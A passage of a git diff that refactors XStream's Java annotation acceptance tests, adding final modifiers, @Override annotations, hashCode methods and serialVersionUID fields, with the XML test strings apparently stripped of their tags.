boolean equals(Object obj) { @XStreamAlias("typeAlias") public static class ParameterizedType { @XStreamAlias("fieldAlias") - private T object; + private final T object; - public ParameterizedType(T object) { + public ParameterizedType(final T object) { this.object = object; } @Override - public boolean equals(Object obj) { - return obj instanceof ParameterizedType ? object - .equals(((ParameterizedType)obj).object) : false; + public boolean equals(final Object obj) { + return obj instanceof ParameterizedType ? object.equals(((ParameterizedType)obj).object) : false; + } + + @Override + public int hashCode() { + return object.hashCode(); } } public void testAreDetectedInParameterizedTypes() { - String xml = "" + final String xml = "" + "\n" + " \n" + " \n" @@ -107,7 +114,7 @@ public void testAreDetectedInParameterizedTypes() { } public void testAreDetectedInNestedParameterizedTypes() { - String xml = "" + final String xml = "" + "\n" + " \n" + " \n" @@ -121,9 +128,8 @@ public void testAreDetectedInNestedParameterizedTypes() { } public void testAreDetectedInArrays() { - InternalType[] internalTypes = new InternalType[]{ - new InternalType(), new InternalType()}; - String xml = "" + final InternalType[] internalTypes = new InternalType[]{new InternalType(), new InternalType()}; + final String xml = "" + "\n" + " \n" + " value\n" @@ -136,9 +142,10 @@ public void testAreDetectedInArrays() { } public void testAreDetectedInParametrizedArrays() { - ParameterizedType[] types = new ParameterizedType[]{ + @SuppressWarnings("unchecked") + final ParameterizedType[] types = new ParameterizedType[]{ new ParameterizedType("foo"), new ParameterizedType("bar")}; - String xml = "" + final String xml = "" + "\n" + " \n" + " foo\n" @@ -149,11 +156,11 @@ public void testAreDetectedInParametrizedArrays() { + ""; assertBothWays(types, xml); } - + public void testAreDetectedInJDKCollection() { - List list = new ArrayList(); + final List list = new ArrayList(); list.add(new InternalType()); - String xml = "" + final String xml = "" + "\n" + " \n" + " value\n" @@ -165,10 +172,10 @@ public void testAreDetectedInJDKCollection() { public void testForClassIsDetectedAtDeserialization() { // must preprocess annotations here xstream.processAnnotations(InternalType.class); - InternalType internalType = new InternalType(); - String xml = "" // - + "\n" // - + " value\n" // + final InternalType internalType = new InternalType(); + final String xml = "" // + + "\n" // + + " value\n" // + ""; assertEquals(internalType, xstream.fromXML(xml)); } @@ -177,30 +184,29 @@ public void testForClassInObjectStreamIsDetectedAtDeserialization() throws IOExc // must preprocess annotations here xstream.processAnnotations(InternalType.class); xstream.ignoreUnknownElements(); - InternalType internalType = new InternalType(); - String xml = "" + final InternalType internalType = new InternalType(); + final String xml = "" + "\n" + " \n" + " value\n" + " 1\n" + " \n" + ""; - ObjectInputStream in = xstream.createObjectInputStream(new StringReader(xml)); + final ObjectInputStream in = xstream.createObjectInputStream(new StringReader(xml)); assertEquals(internalType, in.readObject()); in.close(); } @XStreamInclude({InternalType.class}) - interface Include { - } + interface Include {} public void testCanBeIncluded() { // must preprocess annotations from marker interface with inclusion xstream.processAnnotations(Include.class); - InternalType internalType = new InternalType(); - String xml = "" // - + "\n" // - + " value\n" // + final InternalType internalType = new InternalType(); + final String xml = "" // + + "\n" // + + " value\n" // + ""; assertEquals(internalType, xstream.fromXML(xml)); } diff --git a/xstream/src/test/com/thoughtworks/acceptance/annotations/AttributesTest.java b/xstream/src/test/com/thoughtworks/acceptance/annotations/AttributesTest.java index eea5094d4..6d2b60e37 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/annotations/AttributesTest.java +++ b/xstream/src/test/com/thoughtworks/acceptance/annotations/AttributesTest.java @@ -1,11 +1,11 @@ /* - * Copyright (C) 2007, 2014 XStream Committers. + * Copyright (C) 2007, 2014, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 23. November 2007 by Joerg Schaible */ package com.thoughtworks.acceptance.annotations; @@ -22,17 +22,17 @@ /** * Tests annotations defining fields to be rendered as attributes. - * + * * @author Chung-Onn Cheong * @author Mauro Talevi * @author Guilherme Silveira * @author Jörg Schaible */ public class AttributesTest extends AbstractAcceptanceTest { - + @Override protected XStream createXStream() { - XStream xstream = super.createXStream(); + final XStream xstream = super.createXStream(); xstream.autodetectAnnotations(true); return xstream; } @@ -44,9 +44,9 @@ public static class AnnotatedAttribute { } public void testAnnotation() { - AnnotatedAttribute value = new AnnotatedAttribute(); + final AnnotatedAttribute value = new AnnotatedAttribute(); value.myField = "hello"; - String expected = ""; + final String expected = ""; assertBothWays(value, expected); } @@ -58,68 +58,69 @@ public static class AnnotatedAliasedAttribute { } public void testAnnotationInCombinationWithAlias() { - AnnotatedAliasedAttribute value = new AnnotatedAliasedAttribute(); + final AnnotatedAliasedAttribute value = new AnnotatedAliasedAttribute(); value.myField = "hello"; - String expected = ""; + final String expected = ""; assertBothWays(value, expected); } - + + @SuppressWarnings("unused") @XStreamAlias("annotated") public static class AnnotatedAttributeParameterized implements Serializable { + private static final long serialVersionUID = 201401L; @XStreamAsAttribute private String myField; } public void testAnnotationInParameterizedClass() { - AnnotatedAttributeParameterized value = new AnnotatedAttributeParameterized(); + final AnnotatedAttributeParameterized value = new AnnotatedAttributeParameterized(); value.myField = "hello"; - String expected = ""; + final String expected = ""; assertBothWays(value, expected); } - + @XStreamAlias("annotated") public static class AnnotatedGenericAttributeParameterized implements Serializable { + private static final long serialVersionUID = 201401L; @XStreamAsAttribute private T myField; } public void testAnnotationAtGenericTypeInParameterizedClass() { - AnnotatedGenericAttributeParameterized value = new AnnotatedGenericAttributeParameterized(); + final AnnotatedGenericAttributeParameterized value = + new AnnotatedGenericAttributeParameterized(); value.myField = "hello"; - String expected = "" - + "\n" - + " hello\n" - + ""; + final String expected = "" + "\n" + " hello\n" + ""; assertBothWays(value, expected); } - + @XStreamAlias("annotated") public static class AnnotatedGenericAttributeBounded implements Serializable { + private static final long serialVersionUID = 201401L; @XStreamAsAttribute private T myField; } public void testAnnotationAtGenericTypeInBoundedClass() { - AnnotatedGenericAttributeBounded value = new AnnotatedGenericAttributeBounded(); + final AnnotatedGenericAttributeBounded value = new AnnotatedGenericAttributeBounded(); value.myField = "hello"; - String expected = "" - + "\n" - + " hello\n" - + ""; + final String expected = "" + "\n" + " hello\n" + ""; assertBothWays(value, expected); } - + @XStreamAlias("annotated") public static class AnnotatedGenericAttributeAndConverterParameterized implements Serializable { + private static final long serialVersionUID = 201401L; @XStreamAsAttribute - @XStreamConverter(value=ToStringConverter.class, useImplicitType=false, types={String.class}) + @XStreamConverter(value = ToStringConverter.class, useImplicitType = false, types = {String.class}) private T myField; } public void testAnnotationAtGenericTypeWithLocalConverterInParameterizedClass() { - AnnotatedGenericAttributeAndConverterParameterized value = new AnnotatedGenericAttributeAndConverterParameterized(); + final AnnotatedGenericAttributeAndConverterParameterized value = + new AnnotatedGenericAttributeAndConverterParameterized(); value.myField = "hello"; - String expected = ""; + final String expected = ""; assertBothWays(value, expected); } } diff --git a/xstream/src/test/com/thoughtworks/acceptance/annotations/FieldConverterTest.java b/xstream/src/test/com/thoughtworks/acceptance/annotations/FieldConverterTest.java index 1e99b7d5b..a2685fe4a 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/annotations/FieldConverterTest.java +++ b/xstream/src/test/com/thoughtworks/acceptance/annotations/FieldConverterTest.java @@ -1,12 +1,12 @@ /* * Copyright (C) 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2008, 2016 XStream Committers. + * Copyright (C) 2006, 2007, 2008, 2016, 2019 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 02. March 2006 by Mauro Talevi */ package com.thoughtworks.acceptance.annotations; @@ -28,20 +28,21 @@ /** * Tests for using annotations to override field converters - * + * * @author Guilherme Silveira * @author Mauro Talevi * @author Jörg Schaible */ public class FieldConverterTest extends AbstractAcceptanceTest { - + @Override protected XStream createXStream() { - XStream xstream = super.createXStream(); + final XStream xstream = super.createXStream(); xstream.autodetectAnnotations(true); return xstream; } + @Override protected void setUp() throws Exception { super.setUp(); xstream.alias("annotatedTask", TaskWithAnnotations.class); @@ -109,6 +110,11 @@ public boolean equals(final Object obj) { && ((TaskWithAnnotations)obj).name2.equals(name2) && ((TaskWithAnnotations)obj).name3.equals(name3); } + + @Override + public int hashCode() { + return name1.hashCode() | name2.hashCode() | name3.hashCode(); + } } public static class DerivedTask extends TaskWithAnnotations { @@ -138,42 +144,50 @@ public static class TaskContainer { @Override public boolean equals(final Object obj) { - return obj != null - && TaskContainer.class.equals(obj.getClass()) - && task.equals(((TaskContainer)obj).task); + return obj != null && TaskContainer.class.equals(obj.getClass()) && task.equals(((TaskContainer)obj).task); + } + + @Override + public int hashCode() { + return task.hashCode(); } } public static class FirstConverter implements Converter { + @Override public void marshal(final Object source, final HierarchicalStreamWriter writer, - final MarshallingContext context) { + final MarshallingContext context) { final String str = source.toString(); writer.addAttribute("str", str); } - public Object unmarshal(final HierarchicalStreamReader reader, - final UnmarshallingContext context) { + @Override + public Object unmarshal(final HierarchicalStreamReader reader, final UnmarshallingContext context) { final String str = reader.getAttribute("str"); return str; } - public boolean canConvert(final Class type) { + @Override + public boolean canConvert(final Class type) { return type.equals(String.class); } } public static class SecondaryConverter implements SingleValueConverter { - public boolean canConvert(final Class type) { + @Override + public boolean canConvert(final Class type) { return type.equals(String.class); } - public Object fromString(String value) { + @Override + public Object fromString(final String value) { return value.substring(1, value.length() - 1); } - public String toString(Object source) { + @Override + public String toString(final Object source) { return "_" + source.toString() + "_"; } } @@ -183,18 +197,21 @@ public static class CustomConverter implements Converter { private static int total = 0; public CustomConverter() { - total++ ; + total++; } - public void marshal(Object source, HierarchicalStreamWriter writer, - MarshallingContext context) { + @Override + public void marshal(final Object source, final HierarchicalStreamWriter writer, + final MarshallingContext context) { } - public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) { + @Override + public Object unmarshal(final HierarchicalStreamReader reader, final UnmarshallingContext context) { return null; } - public boolean canConvert(Class type) { + @Override + public boolean canConvert(final Class type) { return type.equals(Double.class); } @@ -202,52 +219,51 @@ public boolean canConvert(Class type) { public static class Account { @XStreamConverter(CustomConverter.class) - private Double value; + private final Double value; public Account() { - this.value = Math.random(); + value = Math.random(); } } public static class Client { @XStreamConverter(CustomConverter.class) - private Double value; + private final Double value; public Client() { - this.value = Math.random(); + value = Math.random(); } } public void testAreCachedPerField() { - int before = CustomConverter.total; + final int before = CustomConverter.total; toXML(new Account()); - int after = CustomConverter.total; + final int after = CustomConverter.total; assertEquals(before + 1, after); } public void testAreCachedPerFieldInDifferentContexts() { - int before = CustomConverter.total; + final int before = CustomConverter.total; toXML(new Account()); toXML(new Client()); - int after = CustomConverter.total; + final int after = CustomConverter.total; assertEquals(before + 1, after); } @XStreamConverter(EnumToStringConverter.class) - public static class InvalidForConverter { - } - + public static class InvalidForConverter {} + public void testCausingExceptionIsNotSuppressed() { try { toXML(new InvalidForConverter()); fail("Thrown " + XStreamException.class.getName() + " expected"); } catch (final XStreamException e) { Throwable th = e.getCause(); - for(;;) { + for (;;) { th = th.getCause(); assertNotNull("No causing InitializationException.", th); if (th instanceof InitializationException) { - assertTrue("No hint for enum types only", th.getMessage().indexOf(" enum ") >= 0); + assertTrue("No hint for enum types only", th.getMessage().contains(" enum ")); break; } } diff --git a/xstream/src/test/com/thoughtworks/acceptance/annotations/ImplicitCollectionTest.java b/xstream/src/test/com/thoughtworks/acceptance/annotations/ImplicitCollectionTest.java index 49dace836..df986e894 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/annotations/ImplicitCollectionTest.java +++ b/xstream/src/test/com/thoughtworks/acceptance/annotations/ImplicitCollectionTest.java @@ -1,30 +1,31 @@ /* - * Copyright (C) 2006, 2007 XStream Committers. + * Copyright (C) 2006, 2007, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 01. December 2006 by Joerg Schaible */ package com.thoughtworks.acceptance.annotations; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + import com.thoughtworks.acceptance.AbstractAcceptanceTest; import com.thoughtworks.xstream.InitializationException; import com.thoughtworks.xstream.XStream; import com.thoughtworks.xstream.annotations.XStreamAlias; import com.thoughtworks.xstream.annotations.XStreamAsAttribute; import com.thoughtworks.xstream.annotations.XStreamImplicit; -import java.util.ArrayList; -import java.util.HashMap; -import java.util.List; -import java.util.Map; /** * Test for annotations mapping implicit collections. - * + * * @author Lucio Benfante * @author Jörg Schaible */ @@ -32,30 +33,30 @@ public class ImplicitCollectionTest extends AbstractAcceptanceTest { @Override protected XStream createXStream() { - XStream xstream = super.createXStream(); + final XStream xstream = super.createXStream(); xstream.autodetectAnnotations(true); return xstream; } public void testAnnotation() { - String expected = "" + final String expected = "" // + "\n" + " one\n" + " two\n" + ""; - ImplicitRootOne implicitRoot = new ImplicitRootOne(); + final ImplicitRootOne implicitRoot = new ImplicitRootOne(); implicitRoot.getValues().add("one"); implicitRoot.getValues().add("two"); assertBothWays(implicitRoot, expected); } public void testAnnotationWithItemFieldName() { - String expected = "" + final String expected = "" // + "\n" + " one\n" + " two\n" + ""; - ImplicitRootTwo implicitRoot = new ImplicitRootTwo(); + final ImplicitRootTwo implicitRoot = new ImplicitRootTwo(); implicitRoot.getValues().add("one"); implicitRoot.getValues().add("two"); assertBothWays(implicitRoot, expected); @@ -73,13 +74,13 @@ public void testAnnotationFailsForInvalidFieldType() { @XStreamAlias("root") public static class ImplicitRootOne { @XStreamImplicit() - private List values = new ArrayList(); + private List values = new ArrayList<>(); public List getValues() { return values; } - public void setValues(List values) { + public void setValues(final List values) { this.values = values; } } @@ -87,13 +88,13 @@ public void setValues(List values) { @XStreamAlias("root") public static class ImplicitRootTwo { @XStreamImplicit(itemFieldName = "value") - private List values = new ArrayList(); + private List values = new ArrayList<>(); public List getValues() { return values; } - public void setValues(List values) { + public void setValues(final List values) { this.values = values; } } @@ -107,7 +108,7 @@ public String getValue() { return value; } - public void setValue(String value) { + public void setValue(final String value) { this.value = value; } } @@ -121,25 +122,25 @@ public static class ImplicitParameterizedType { @XStreamAlias("point") public static class Point { @XStreamAsAttribute - private int x; + private final int x; @XStreamAsAttribute - private int y; + private final int y; - public Point(int x, int y) { + public Point(final int x, final int y) { this.x = x; this.y = y; } } public void testAnnotationHandlesParameterizedTypes() { - String xml = "" + final String xml = "" + "\n" + " \n" + " \n" + " \n" + ""; - ImplicitParameterizedType root = new ImplicitParameterizedType(); - root.signatureLines = new ArrayList>(); + final ImplicitParameterizedType root = new ImplicitParameterizedType(); + root.signatureLines = new ArrayList<>(); root.signatureLines.add(new ArrayList()); root.signatureLines.get(0).add(new Point(33, 11)); assertBothWays(root, xml); @@ -148,35 +149,37 @@ public void testAnnotationHandlesParameterizedTypes() { @XStreamAlias("type") public static class ParametrizedTypeIsInterface { @XStreamImplicit() - private ArrayList list = new ArrayList(); + private ArrayList> list = new ArrayList<>(); } public void testWorksForTypesThatAreInterfaces() { - ParametrizedTypeIsInterface type = new ParametrizedTypeIsInterface(); - type.list = new ArrayList(); - type.list.add(new HashMap()); - String xml = "" // - + "\n" // - + " \n" // + final ParametrizedTypeIsInterface type = new ParametrizedTypeIsInterface(); + type.list = new ArrayList<>(); + type.list.add(new HashMap<>()); + final String xml = "" // + + "\n" + + " \n" + ""; assertBothWays(type, xml); } @XStreamAlias("untyped") private static class Untyped { + @SuppressWarnings("rawtypes") @XStreamImplicit - private List list = new ArrayList(); + private final List list = new ArrayList(); + @SuppressWarnings("unchecked") public Untyped() { list.add("1"); } } public void testCanHandleUntypedCollections() { - Untyped untyped = new Untyped(); - String xml = "" // - + "\n" // - + " 1\n" // + final Untyped untyped = new Untyped(); + final String xml = "" // + + "\n" + + " 1\n" + ""; assertBothWays(untyped, xml); } diff --git a/xstream/src/test/com/thoughtworks/acceptance/annotations/ImplicitMapTest.java b/xstream/src/test/com/thoughtworks/acceptance/annotations/ImplicitMapTest.java index a4dfc9066..c182c82a7 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/annotations/ImplicitMapTest.java +++ b/xstream/src/test/com/thoughtworks/acceptance/annotations/ImplicitMapTest.java @@ -1,15 +1,19 @@ /* - * Copyright (C) 2011 XStream Committers. + * Copyright (C) 2011, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 05. August 2011 by Joerg Schaible */ package com.thoughtworks.acceptance.annotations; +import java.util.HashMap; +import java.util.LinkedHashMap; +import java.util.Map; + import com.thoughtworks.acceptance.AbstractAcceptanceTest; import com.thoughtworks.acceptance.objects.StandardObject; import com.thoughtworks.xstream.XStream; @@ -17,28 +21,24 @@ import com.thoughtworks.xstream.annotations.XStreamAsAttribute; import com.thoughtworks.xstream.annotations.XStreamImplicit; -import java.util.HashMap; -import java.util.LinkedHashMap; -import java.util.Map; - /** * Test for annotations mapping implicit maps. - * + * * @author Jörg Schaible */ public class ImplicitMapTest extends AbstractAcceptanceTest { @Override protected XStream createXStream() { - XStream xstream = super.createXStream(); + final XStream xstream = super.createXStream(); xstream.autodetectAnnotations(true); xstream.addDefaultImplementation(LinkedHashMap.class, Map.class); return xstream; } public void testAnnotation() { - String expected = "" + final String expected = "" + "\n" + " \n" + " Microsoft\n" @@ -49,14 +49,14 @@ public void testAnnotation() { + " Linux\n" + " \n" + ""; - ImplicitRootOne implicitRoot = new ImplicitRootOne(); + final ImplicitRootOne implicitRoot = new ImplicitRootOne(); implicitRoot.getValues().put("Windows", new Software("Microsoft", "Windows")); implicitRoot.getValues().put("Linux", new Software("Red Hat", "Linux")); assertBothWays(implicitRoot, expected); } public void testAnnotationWithItemFieldName() { - String expected = "" + final String expected = "" + "\n" + " \n" + " Microsoft\n" @@ -67,7 +67,7 @@ public void testAnnotationWithItemFieldName() { + " Linux\n" + " \n" + ""; - ImplicitRootTwo implicitRoot = new ImplicitRootTwo(); + final ImplicitRootTwo implicitRoot = new ImplicitRootTwo(); implicitRoot.getValues().put("Windows", new Software("Microsoft", "Windows")); implicitRoot.getValues().put("Linux", new Software("Red Hat", "Linux")); assertBothWays(implicitRoot, expected); @@ -76,13 +76,13 @@ public void testAnnotationWithItemFieldName() { @XStreamAlias("root") public static class ImplicitRootOne { @XStreamImplicit(keyFieldName = "name") - private Map values = new LinkedHashMap(); + private Map values = new LinkedHashMap<>(); public Map getValues() { return values; } - public void setValues(Map values) { + public void setValues(final Map values) { this.values = values; } } @@ -90,32 +90,32 @@ public void setValues(Map values) { @XStreamAlias("root") public static class ImplicitRootTwo { @XStreamImplicit(keyFieldName = "name", itemFieldName = "value") - private Map values = new LinkedHashMap(); + private Map values = new LinkedHashMap<>(); public Map getValues() { return values; } - public void setValues(Map values) { + public void setValues(final Map values) { this.values = values; } } @XStreamAlias("implicit") public static class ImplicitParameterizedType { - @XStreamImplicit(itemFieldName = "line", keyFieldName="id") - private LinkedHashMap> signatureLines; + @XStreamImplicit(itemFieldName = "line", keyFieldName = "id") + private LinkedHashMap> signatureLines; } @XStreamAlias("point") public static class Point { @XStreamAsAttribute - private int x; + private final int x; @XStreamAsAttribute - private int y; - private final T id; + private final int y; + final T id; - public Point(T id, int x, int y) { + public Point(final T id, final int x, final int y) { this.id = id; this.x = x; this.y = y; @@ -123,28 +123,28 @@ public Point(T id, int x, int y) { } public void testAnnotationHandlesParameterizedTypes() { - String xml = "" + final String xml = "" + "\n" + " \n" + " 42\n" + " \n" + ""; - ImplicitParameterizedType root = new ImplicitParameterizedType(); - root.signatureLines = new LinkedHashMap>(); - root.signatureLines.put(42L, new Point(42L, 33, 11)); + final ImplicitParameterizedType root = new ImplicitParameterizedType(); + root.signatureLines = new LinkedHashMap<>(); + root.signatureLines.put(42L, new Point<>(42L, 33, 11)); assertBothWays(root, xml); } @XStreamAlias("type") public static class ParametrizedTypeIsInterface { - @XStreamImplicit(keyFieldName="name") - private Map map = new LinkedHashMap(); + @XStreamImplicit(keyFieldName = "name") + private final Map map = new LinkedHashMap<>(); } public void testWorksForTypesThatAreInterfaces() { - ParametrizedTypeIsInterface type = new ParametrizedTypeIsInterface(); + final ParametrizedTypeIsInterface type = new ParametrizedTypeIsInterface(); type.map.put("Windows", new Software("Microsoft", "Windows")); - String xml = "" // + final String xml = "" // + "\n" // + " \n" + " Microsoft\n" @@ -156,18 +156,20 @@ public void testWorksForTypesThatAreInterfaces() { @XStreamAlias("untyped") private static class Untyped { - @XStreamImplicit(keyFieldName="name") - private Map map = new HashMap(); + @SuppressWarnings("rawtypes") + @XStreamImplicit(keyFieldName = "name") + private final Map map = new HashMap(); + @SuppressWarnings("unchecked") public Untyped() { map.put("Windows", new Software("Microsoft", "Windows")); } } public void testCanHandleUntypedCollections() { - Untyped untyped = new Untyped(); - String xml = "" // - + "\n" // + final Untyped untyped = new Untyped(); + final String xml = "" // + + "\n" + " \n" + " Microsoft\n" + " Windows\n" @@ -175,19 +177,19 @@ public void testCanHandleUntypedCollections() { + ""; assertBothWays(untyped, xml); } - + public interface Code {} @XStreamAlias("software") public static class Software extends StandardObject implements Code { - + private static final long serialVersionUID = 201108L; public String vendor; public String name; public Software() { } - public Software(String vendor, String name) { + public Software(final String vendor, final String name) { this.vendor = vendor; this.name = name; } diff --git a/xstream/src/test/com/thoughtworks/acceptance/annotations/ParametrizedConverterTest.java b/xstream/src/test/com/thoughtworks/acceptance/annotations/ParametrizedConverterTest.java index 8388bab85..1e359e21f 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/annotations/ParametrizedConverterTest.java +++ b/xstream/src/test/com/thoughtworks/acceptance/annotations/ParametrizedConverterTest.java @@ -1,11 +1,11 @@ /* - * Copyright (C) 2008, 2009, 2011, 2012, 2013, 2015, 2016 XStream Committers. + * Copyright (C) 2008, 2009, 2011, 2012, 2013, 2015, 2016, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 04. January 2008 by Joerg Schaible */ package com.thoughtworks.acceptance.annotations; @@ -37,7 +37,7 @@ /** * Tests for using annotations for classes. - * + * * @author Chung-Onn, Cheong * @author Jörg Schaible * @author Jason Greanya @@ -46,11 +46,12 @@ public class ParametrizedConverterTest extends AbstractAcceptanceTest { @Override protected XStream createXStream() { - XStream xstream = super.createXStream(); + final XStream xstream = super.createXStream(); xstream.autodetectAnnotations(true); return xstream; } + @Override protected void setUp() throws Exception { super.setUp(); xstream.alias("my-map", MyMap.class); @@ -69,7 +70,7 @@ protected void setUp() throws Exception { public void testAnnotationForConvertersWithParameters() { final MyMap value = new MyMap(); value.put("key1", "value1"); - String expected = "" + final String expected = "" + "\n" + " \n" + " key1\n" @@ -80,21 +81,22 @@ public void testAnnotationForConvertersWithParameters() { } @XStreamConverters({ - @XStreamConverter(value = MyMapConverter.class, priority = XStream.PRIORITY_NORMAL + 1, types = {MyMap.class}) - }) + @XStreamConverter(value = MyMapConverter.class, priority = XStream.PRIORITY_NORMAL + 1, types = {MyMap.class})}) public static class MyMap extends HashMap { + private static final long serialVersionUID = 200904L; } public static class MyMapConverter extends MapConverter { private final Class myType; - public MyMapConverter(Mapper classMapper, Class myType) { + public MyMapConverter(final Mapper classMapper, final Class myType) { super(classMapper); this.myType = myType; } - public boolean canConvert(Class type) { + @Override + public boolean canConvert(final Class type) { return type.equals(myType); } @@ -105,18 +107,18 @@ public boolean canConvert(Class type) { */ public void testCanUseCurrentTypeAsParameter() { final Decimal value = new Decimal("5.5"); - String expected = "5.5"; + final String expected = "5.5"; assertBothWays(value, expected); } /** - * Tests three field-level XStreamConverter annotations for different types, which guarantees - * the internal converterCache on AnnotationMapper is functioning properly. + * Tests three field-level XStreamConverter annotations for different types, which guarantees the internal + * converterCache on AnnotationMapper is functioning properly. */ public void testSameConverterWithDifferentType() { final Type value = new Type(new Decimal("1.5"), new Boolean(true)); - String expected = "" + final String expected = "" + "\n" + " 1.5\n" + " true\n" @@ -128,7 +130,9 @@ public void testSameConverterWithDifferentType() { @XStreamConverter(ToStringConverter.class) public static class Decimal extends BigDecimal { - public Decimal(String str) { + private static final long serialVersionUID = 200904L; + + public Decimal(final String str) { super(str); } } @@ -139,44 +143,47 @@ public static class Type { @XStreamConverter(ToStringConverter.class) @XStreamAlias("boolean") private Boolean bool = null; - @XStreamConverter(value=BooleanConverter.class, booleans={true}, strings={"yes", "no"}) + @XStreamConverter(value = BooleanConverter.class, booleans = {true}, strings = {"yes", "no"}) private Boolean agreement = null; - public Type(Decimal decimal, Boolean bool) { + public Type(final Decimal decimal, final Boolean bool) { this.decimal = decimal; this.bool = bool; - this.agreement = bool; + agreement = bool; } } public void testConverterRequiringNull() { final Type value = new DerivedType(new Decimal("1.5"), new Boolean(true), DerivedType.E.FOO); - String expected = "1.5".replace('\'', '"'); + final String expected = "1.5".replace('\'', '"'); assertBothWays(value, expected); } - + @XStreamAlias("mytype") - @XStreamConverter(value=ToAttributedValueConverter.class, types={Type.class}, nulls={String.class}) + @XStreamConverter(value = ToAttributedValueConverter.class, types = {Type.class}, nulls = {String.class}) public static class MyType extends Type { - public MyType(Decimal decimal, Boolean bool) { + public MyType(final Decimal decimal, final Boolean bool) { super(decimal, bool); } } public void testConverterWithSecondTypeParameter() { final Type value = new DerivedType(new Decimal("1.5"), new Boolean(true), DerivedType.E.FOO); - String expected = "1.5".replace('\'', '"'); + final String expected = "1.5".replace('\'', '"'); assertBothWays(value, expected); } - + @XStreamAlias("dtype") - @XStreamConverter(value=ToAttributedValueConverter.class, types={Type.class}, strings={"decimal"}) + @XStreamConverter(value = ToAttributedValueConverter.class, types = {Type.class}, strings = {"decimal"}) public static class DerivedType extends Type { - public enum E { FOO, BAR }; + public enum E { + FOO, BAR + }; + @XStreamAlias("enum") - private E e; + private final E e; - public DerivedType(Decimal decimal, Boolean bool, E e) { + public DerivedType(final Decimal decimal, final Boolean bool, final E e) { super(decimal, bool); this.e = e; } @@ -184,18 +191,21 @@ public DerivedType(Decimal decimal, Boolean bool, E e) { public void testConverterWithAllAttributes() { final Type value = new DerivedType2(new Decimal("1.5"), new Boolean(true), DerivedType2.E.FOO); - String expected = "".replace('\'', '"'); + final String expected = "".replace('\'', '"'); assertBothWays(value, expected); } - + @XStreamAlias("dtype2") - @XStreamConverter(value=ToAttributedValueConverter.class) + @XStreamConverter(value = ToAttributedValueConverter.class) public static class DerivedType2 extends Type { - public enum E { FOO, BAR }; + public enum E { + FOO, BAR + }; + @XStreamAlias("enum") - private E e; + private final E e; - public DerivedType2(Decimal decimal, Boolean bool, E e) { + public DerivedType2(final Decimal decimal, final Boolean bool, final E e) { super(decimal, bool); this.e = e; } @@ -204,112 +214,119 @@ public DerivedType2(Decimal decimal, Boolean bool, E e) { public void testAnnotatedJavaBeanConverter() { final SimpleBean value = new SimpleBean(); value.setName("joe"); - String expected = "" - + "\n" - + " joe\n" - + ""; + final String expected = ""// + + "\n" + + " joe\n" + + ""; assertBothWays(value, expected); } - + @XStreamAlias("bean") @XStreamConverter(JavaBeanConverter.class) public static class SimpleBean extends StandardObject { + private static final long serialVersionUID = 201203L; private String myName; public String getName() { return myName; } - public void setName(String name) { + public void setName(final String name) { myName = name; } } - + public void testAnnotatedNamedMapConverter() { - Map map = new MyEnumMap(); + final Map map = new MyEnumMap(); map.put(ContainsMap.E.FOO, "foo"); map.put(ContainsMap.E.BAR, "bar"); final ContainsMap value = new ContainsMap(map); - String expected = ("" - + "\n" - + " \n" - + " foo\n" - + " bar\n" - + " \n" - + "").replace('\'', '"'); + final String expected = ("" + + "\n" + + " \n" + + " foo\n" + + " bar\n" + + " \n" + + "").replace('\'', '"'); assertBothWays(value, expected); } - + @XStreamInclude({MyEnumMap.class}) @XStreamAlias("container") public static class ContainsMap extends StandardObject { + private static final long serialVersionUID = 201309L; + public enum E { FOO, BAR }; @XStreamConverter(value = NamedMapConverter.class, strings = {"issue", "key", ""}, types = { MyEnumMap.class, E.class, String.class}, booleans = {true, false}, useImplicitType = false) - private Map map; + private final Map map; - public ContainsMap(Map map) { + public ContainsMap(final Map map) { this.map = map; } } public void testAnnotatedNamedMapConverterWithMultipleSameArguments() { xstream.addDefaultImplementation(LinkedHashMap.class, Map.class); - - final Map map = new LinkedHashMap(); + + final Map map = new LinkedHashMap<>(); map.put("FOO", "foo"); map.put("BAR", "bar"); final ContainsMap2 value = new ContainsMap2(map); - String expected = ("" - + "\n" - + " \n" - + " FOO\n" - + " foo\n" - + " BAR\n" - + " bar\n" - + " \n" - + "").replace('\'', '"'); + final String expected = ("" + + "\n" + + " \n" + + " FOO\n" + + " foo\n" + + " BAR\n" + + " bar\n" + + " \n" + + "").replace('\'', '"'); assertBothWays(value, expected); } - + @XStreamAlias("container-map") public static class ContainsMap2 extends StandardObject { + private static final long serialVersionUID = 201602L; @XStreamConverter(value = NamedMapConverter.class, strings = {"", "key", "value"}, types = { LinkedHashMap.class, String.class, String.class}, booleans = {false, false}, useImplicitType = false) - private Map map; + private final Map map; - public ContainsMap2(Map map) { + public ContainsMap2(final Map map) { this.map = map; } } - + @XStreamAlias("my-enums") public static class MyEnumMap extends LinkedHashMap { + private static final long serialVersionUID = 201309L; } - + public void testAnnotatedNamedCollectionConverter() { - List names = new ArrayList(Arrays.asList("joe", "joerg", "mauro")); + final List names = new ArrayList<>(Arrays.asList("joe", "joerg", "mauro")); final ContainsCollection container = new ContainsCollection(names); - String expected = ("" - + "\n" - + " \n" - + " joe\n" - + " joerg\n" - + " mauro\n" - + " \n" - + "").replace('\'', '"'); + final String expected = ("" + + "\n" + + " \n" + + " joe\n" + + " joerg\n" + + " mauro\n" + + " \n" + + "").replace('\'', '"'); assertBothWays(container, expected); } - + @XStreamAlias("CollCont") public static class ContainsCollection extends StandardObject { - @XStreamConverter(value=NamedCollectionConverter.class, 